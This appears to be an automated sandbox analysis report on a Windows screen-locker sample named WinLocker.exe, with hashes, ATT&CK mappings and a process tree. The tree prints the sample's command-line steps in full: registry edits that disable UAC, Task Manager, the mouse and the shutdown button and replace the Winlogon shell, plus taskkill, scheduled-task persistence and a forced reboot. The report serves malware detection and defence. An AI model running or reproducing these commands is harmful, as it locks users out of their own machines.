4dfb739b797ba68c266eaa5802404790f32a41155c7cf1559fd4b7174dd55471

Analysis

max time kernel
27s
max time network
28s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
06/08/2024, 03:05

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Reason

Machine shutdown

Report Analysis Logs

General

Target

WinLocker.exe
Size

51KB
MD5

ef11087c3d5a51ee2a163673e0a2d945
SHA1

76437300dea9d4ec25661cd4acaeb8b7142c996f
SHA256

4dfb739b797ba68c266eaa5802404790f32a41155c7cf1559fd4b7174dd55471
SHA512

621f98c8f3e89250967f5742bd4e15a1d76ca30c141ae771f713d998f7181b3069f6cfcd685a84a27fa5cd89e26f4c54c4281f275e89de8f6cd2ae0fccd28725
SSDEEP

384:U6hgbJPtMyYRRUfZOI7ELTjjDCENXyu3bWCrWPWlR+ehoAi6gs:U1iBRKKdNXyurWiWPWlR+Or+s

Score

10^/10

evasion persistence trojan

Malware Config

Signatures

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Disables Task Manager via registry modification
evasion

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Control Panel\International\Geo\Nation	WinLocker.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WinBlocker.bat = "WinBlocker.bat"	reg.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
3348	timeout.exe

Kills process with taskkill 6 IoCs

evasion

pid	Process
4724	taskkill.exe
4024	taskkill.exe
3544	taskkill.exe
916	taskkill.exe
1632	taskkill.exe
972	taskkill.exe

Modifies data under HKEY_USERS 15 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1"	LogonUI.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "184"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271"	LogonUI.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings	WinLocker.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1576	schtasks.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

description	pid	Process
Token: SeDebugPrivilege	916	taskkill.exe
Token: SeDebugPrivilege	1632	taskkill.exe
Token: SeDebugPrivilege	972	taskkill.exe
Token: SeDebugPrivilege	4724	taskkill.exe
Token: SeDebugPrivilege	4024	taskkill.exe
Token: SeDebugPrivilege	3544	taskkill.exe
Token: SeShutdownPrivilege	4940	shutdown.exe
Token: SeRemoteShutdownPrivilege	4940	shutdown.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3052	LogonUI.exe

Suspicious use of WriteProcessMemory 48 IoCs

description	pid	Process	procid_target
PID 116 wrote to memory of 1144	116	WinLocker.exe	83
PID 116 wrote to memory of 1144	116	WinLocker.exe	83
PID 116 wrote to memory of 4116	116	WinLocker.exe	84
PID 116 wrote to memory of 4116	116	WinLocker.exe	84
PID 4116 wrote to memory of 916	4116	cmd.exe	86
PID 4116 wrote to memory of 916	4116	cmd.exe	86
PID 4116 wrote to memory of 2396	4116	cmd.exe	88
PID 4116 wrote to memory of 2396	4116	cmd.exe	88
PID 4116 wrote to memory of 1632	4116	cmd.exe	89
PID 4116 wrote to memory of 1632	4116	cmd.exe	89
PID 4116 wrote to memory of 1252	4116	cmd.exe	90
PID 4116 wrote to memory of 1252	4116	cmd.exe	90
PID 4116 wrote to memory of 4592	4116	cmd.exe	92
PID 4116 wrote to memory of 4592	4116	cmd.exe	92
PID 4116 wrote to memory of 1996	4116	cmd.exe	95
PID 4116 wrote to memory of 1996	4116	cmd.exe	95
PID 4116 wrote to memory of 1576	4116	cmd.exe	96
PID 4116 wrote to memory of 1576	4116	cmd.exe	96
PID 4116 wrote to memory of 972	4116	cmd.exe	98
PID 4116 wrote to memory of 972	4116	cmd.exe	98
PID 4116 wrote to memory of 4724	4116	cmd.exe	99
PID 4116 wrote to memory of 4724	4116	cmd.exe	99
PID 4116 wrote to memory of 4024	4116	cmd.exe	100
PID 4116 wrote to memory of 4024	4116	cmd.exe	100
PID 4116 wrote to memory of 3544	4116	cmd.exe	101
PID 4116 wrote to memory of 3544	4116	cmd.exe	101
PID 4116 wrote to memory of 3140	4116	cmd.exe	102
PID 4116 wrote to memory of 3140	4116	cmd.exe	102
PID 4116 wrote to memory of 2704	4116	cmd.exe	103
PID 4116 wrote to memory of 2704	4116	cmd.exe	103
PID 4116 wrote to memory of 64	4116	cmd.exe	104
PID 4116 wrote to memory of 64	4116	cmd.exe	104
PID 4116 wrote to memory of 1020	4116	cmd.exe	105
PID 4116 wrote to memory of 1020	4116	cmd.exe	105
PID 4116 wrote to memory of 1172	4116	cmd.exe	107
PID 4116 wrote to memory of 1172	4116	cmd.exe	107
PID 4116 wrote to memory of 5112	4116	cmd.exe	108
PID 4116 wrote to memory of 5112	4116	cmd.exe	108
PID 4116 wrote to memory of 3104	4116	cmd.exe	109
PID 4116 wrote to memory of 3104	4116	cmd.exe	109
PID 4116 wrote to memory of 876	4116	cmd.exe	110
PID 4116 wrote to memory of 876	4116	cmd.exe	110
PID 4116 wrote to memory of 1016	4116	cmd.exe	111
PID 4116 wrote to memory of 1016	4116	cmd.exe	111
PID 4116 wrote to memory of 4940	4116	cmd.exe	112
PID 4116 wrote to memory of 4940	4116	cmd.exe	112
PID 4116 wrote to memory of 3348	4116	cmd.exe	114
PID 4116 wrote to memory of 3348	4116	cmd.exe	114

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\WinLocker.exe
"C:\Users\Admin\AppData\Local\Temp\WinLocker.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:116
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\mistake.vbs"
  2⤵
  PID:1144
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\WinBlocker.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4116
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM wscript.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:916
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:2396
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM explorer.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1632
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
    3⤵
    - UAC bypass
    PID:1252
- - C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\admin.vbs
    3⤵
    PID:4592
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "WinBlocker.bat" /t REG_SZ /d "WinBlocker.bat" /f
    3⤵
    - Adds Run key to start application
    PID:1996
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WinBlocker.bat" /tr "WinBlocker.bat" /sc ONLOGON /rl HIGHEST /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1576
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM explorer.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:972
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM msedge.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4724
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM chrome.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4024
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM browser.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3544
- - C:\Windows\system32\reg.exe
    reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "C:\WinBlocker.bat" /f
    3⤵
    PID:3140
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    PID:2704
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\mouclass" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:64
- - C:\Windows\system32\reg.exe
    reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableShutdownButton /t REG_DWORD /d 1 /f
    3⤵
    PID:1020
- - C:\Windows\system32\reg.exe
    reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "WinBlocker.bat" /f
    3⤵
    PID:1172
- - C:\Windows\system32\schtasks.exe
    schtasks /delete /tn "WinBlocker.bat" /f
    3⤵
    PID:5112
- - C:\Windows\system32\reg.exe
    reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /f
    3⤵
    PID:3104
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\mouclass" /v Start /t REG_DWORD /d 3 /f
    3⤵
    PID:876
- - C:\Windows\system32\reg.exe
    reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableShutdownButton /f
    3⤵
    PID:1016
- - C:\Windows\system32\shutdown.exe
    shutdown.exe -r -f -t 00
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4940
- - C:\Windows\system32\timeout.exe
    TIMEOUT /T 1 /NOBREAK
    3⤵
    - Delays execution with timeout.exe
    PID:3348

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa39bf855 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:3052

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\WinBlocker.bat

Filesize
3KB

MD5
a9db076ab7a8353f5780e4f886a05a00

SHA1
c5d63cbf5bf56af2b318567d9f569d0fa12b1089

SHA256
4af762b49d65c5dedc3c5bdb8612bb259f50bd6fd4ef2cd42d318d851e1fbb7c

SHA512
cb287d914dff629ec54badb33040390998a04c4f53b4448483546537aedc2bdd54f773f3624c5839f0de12083f8368444f04b79996435ad0f8403dec3a804852

Download Submit
C:\Users\Admin\AppData\Roaming\mistake.vbs

Filesize
530B

MD5
c6d9d0f3fa69288ffa37204d896f2e61

SHA1
1c811c7015ec83cd31514775c0d54ac48eaa8e3b

SHA256
6ed74e29b9b099f70afac7725cf6d5465c78a669599f351837e38d1d3e8bcb98

SHA512
a9185bbd723ccda39203b8a12df43e97eed6d2e318dd734b8367d258aae88ab94c86966b1cdfc705d80f455e316c3154820f7b51694adb1c2cdad967731fd17a

Download Submit
memory/116-0-0x00007FFA09743000-0x00007FFA09745000-memory.dmp

Filesize
8KB

Download
memory/116-1-0x0000000000A50000-0x0000000000A62000-memory.dmp

Filesize
72KB

Download

Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads